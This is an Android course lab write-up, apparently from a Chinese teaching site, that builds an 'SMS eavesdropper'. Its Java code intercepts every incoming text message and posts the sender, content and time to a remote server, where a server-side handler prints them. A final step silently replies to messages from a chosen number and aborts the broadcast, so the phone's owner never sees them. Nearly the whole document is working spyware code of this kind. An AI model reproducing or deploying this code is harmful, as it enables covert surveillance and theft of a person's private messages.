实验(短信窃听器)

 

服务器(videoweb):

l  修改formbean: VideoForm中增加短信的时间、内容和发送者属性

l  VideoManageAction中增加方法getSMS来获取窃听器发送的短消息

public ActionForward getSMS(ActionMapping mapping, ActionForm form,

           HttpServletRequest request, HttpServletResponse response)

           throws Exception {

    VideoForm formbean = (VideoForm)form;

    System.out.println("发送时间:"+ formbean.getTime());

    System.out.println("谁给她发的短信:"+ formbean.getSender());

    System.out.println("内容:"+ formbean.getContent());

    return mapping.findForward("result");

}

 

客户端SMS_Listener

1、  清单文件

中订阅广播

".MySMSListener">

  

      "android.provider.Telephony.SMS_RECEIVED"/>

 

添加短信接收权限,访问网络权限

"android.permission.INTERNET"/>

"android.permission.RECEIVE_SMS"/>

 

2、 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。

package cn.class3g.smslistener;

 

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.HashMap;

import java.util.Map;

 

import cn.class3g.utils.SocketHttpRequester;

public class MySMSListener extends BroadcastReceiver {

 

    public void onReceive(Context context, Intent intent) {

 

       Object[] pdus = (Object[]) intent.getExtras().get("pdus");

 

       if (pdus != null && pdus.length > 0) {

           SmsMessage[] messages = new SmsMessage[pdus.length];

 

           for (int i = 0; i < messages.length; i++) {

              byte[] pdu = (byte[]) pdus[i];

              messages[i] = SmsMessage.createFromPdu(pdu);

           }

 

           for (SmsMessage msg : messages) {

              String content = msg.getMessageBody();

              String sender = msg.getOriginatingAddress();

               Date date = new Date(msg.getTimestampMillis());

 

              SimpleDateFormat sdf = new SimpleDateFormat(

                     "yyyy-MM-dd HH:mm:ss");

             

              String sendTime = sdf.format(date);

             

              Map param = new HashMap();

             

              param.put("method", "getSMS");

              param.put("sender", sender);

              param.put("content", content);

              param.put("time", sendTime);

             

              String path =

"http://192.168.1.100:8080/videoweb/video/manage.do";

              try {

                  SocketHttpRequester.post(path, param, "UTF-8");

              } catch (Exception e) {

                  Log.e("TAG",e.toString());

              }

           }

       }

    }

}

1、 进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

 

添加短信发送权限:

"android.permission.SEND_SMS"/>

 

MySMSListener的onReceive中添加代码如下

String sendContent = sdf.format(date) + ":" + sender + "--"

                     + content;

             

Log.i("TAG",sendContent);

 

if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){

    SmsManager smsManager = SmsManager.getDefault();

    smsManager.sendTextMessage("5556",null,"game over",null,null);

    this.abortBroadcast(); //终止广播

}

你可能感兴趣的:(android课程)